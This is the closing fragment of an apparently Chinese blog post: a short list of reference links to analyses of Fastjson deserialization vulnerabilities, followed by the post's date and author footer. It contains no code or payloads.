http://xxlegend.com/2020/11/22/看快手如何干掉Fastjson/

https://lihuaiqiu.github.io/2020/09/24/Fastjson分析系列--1-2-22-1-2-24反序列化漏洞分析-1/

FastJson历史漏洞研究(一) (seebug.org)

posted @ 2022-11-29 14:21  gk0d  阅读(477)  评论(0编辑  收藏  举报